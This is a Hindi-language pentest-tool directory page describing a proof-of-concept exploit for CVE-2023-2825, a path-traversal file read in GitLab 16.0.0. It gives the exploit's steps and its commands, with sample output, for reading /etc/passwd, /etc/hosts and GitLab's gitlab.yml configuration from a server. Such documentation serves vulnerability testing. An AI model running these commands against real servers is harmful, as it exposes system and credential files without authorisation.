Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-2825-PoC — CVE-2023-2825 के लिए PoC: नेस्टेड सार्वजनिक समूहों, प्रोजेक्ट अपलोड ट्रैवर्सल और पुन: प्रयोज्य अपलोड पथों के माध्यम से स्वचालित GitLab 16.0.0 मनमानी फ़ाइल रीड, साथ ही स्वच्छ CLI आउटपुट। | Kitploit
उपकरण/GitHubGitHub/groppoxx/cve-2023-2825-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

CVE-2023-2825 के लिए PoC: नेस्टेड सार्वजनिक समूहों, प्रोजेक्ट अपलोड ट्रैवर्सल और पुन: प्रयोज्य अपलोड पथों के माध्यम से स्वचालित GitLab 16.0.0 मनमानी फ़ाइल रीड, साथ ही स्वच्छ CLI आउटपुट।

रिपॉजिटरी देखें
43 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-2825-PoC

CVE-2023-2825 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो GitLab CE/EE 16.0.0 में एक आर्बिट्रेरी फ़ाइल रीड (arbitrary file read) भेद्यता है।

स्क्रिप्ट एक वैध GitLab खाते से लॉगिन करती है, आवश्यक सार्वजनिक नेस्टेड ग्रुप संरचना बनाती है, एक सार्वजनिक प्रोजेक्ट बनाती है, एक अटैचमेंट अपलोड करती है, और GitLab सर्वर से लक्षित फ़ाइल को पढ़ने के लिए कमजोर अपलोड पाथ ट्रैवर्सल व्यवहार का उपयोग करती है।

यह मौजूदा अपलोड पथ के पुन: उपयोग का भी समर्थन करता है, ताकि हर फ़ाइल रीड के लिए नए ग्रुप और प्रोजेक्ट बनाने की आवश्यकता न पड़े।

यह क्या करता है

  1. लक्षित GitLab इंस्टेंस में प्रमाणित करता है।
  2. विश्वसनीय गहरी नेस्टिंग के लिए छोटे पथों का उपयोग करके नेस्टेड सार्वजनिक ग्रुप बनाता है।
  3. सबसे गहरे ग्रुप के अंदर एक सार्वजनिक प्रोजेक्ट बनाता है।
  4. प्रोजेक्ट में एक छोटा अटैचमेंट अपलोड करता है।
  5. अपलोड निर्देशिका से ट्रैवर्सल पथ बनाता है।
  6. एक फ़ाइल या फ़ाइलों की सूची पढ़ता है।
  7. तेज़ अनुवर्ती रीड के लिए एक पुन: उपयोग योग्य अपलोड पथ प्रिंट करता है।

आवश्यकताएँ

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

आवश्यक Python पैकेज:

root@kitploit:~
beautifulsoup4
requests
urllib3

त्वरित आरंभ

कोण कोष्ठकों में लपेटे गए मान प्लेसहोल्डर हैं। उन्हें अपने स्वयं के मानों से बदलें और < या > वर्ण शामिल न करें।

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

प्लेसहोल्डर

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

पूर्ण उदाहरण

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

उदाहरण आउटपुट:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

अपलोड पथ का पुन: उपयोग

सफल रन के बाद, स्क्रिप्ट एक पुन: उपयोग योग्य अपलोड पथ प्रिंट करती है:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

लॉगिन, ग्रुप निर्माण, प्रोजेक्ट निर्माण और अपलोड को छोड़ने के लिए इसे --reuse-path के साथ उपयोग करें:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

आप एक पूर्ण URL भी पास कर सकते हैं और --url को छोड़ सकते हैं:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

एकाधिक फ़ाइलें पढ़ना

एक फ़ाइल सूची बनाएं:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

चलाएं:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

वैकल्पिक फ़्लैग

root@kitploit:~
--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.

नोट्स

  • एक्सप्लॉइट के लिए GitLab CE/EE 16.0.0 की आवश्यकता है।
  • सार्वजनिक नेस्टेड ग्रुप और प्रोजेक्ट बनाने के लिए एक वैध GitLab खाता आवश्यक है।
  • कमजोर पथ के लिए एक सार्वजनिक प्रोजेक्ट में एक अटैचमेंट की आवश्यकता होती है जो कई सार्वजनिक ग्रुपों के अंदर नेस्टेड हो।
  • GitLab में गहरे-पथ निर्माण समस्याओं से बचने के लिए जानबूझकर छोटे ग्रुप नामों का उपयोग किया जाता है।
  • अनावश्यक ग्रुप और प्रोजेक्ट बनाने से बचने के लिए जब भी संभव हो --reuse-path का उपयोग करें।

कानूनी

यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और भेद्यता सत्यापन के लिए है। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें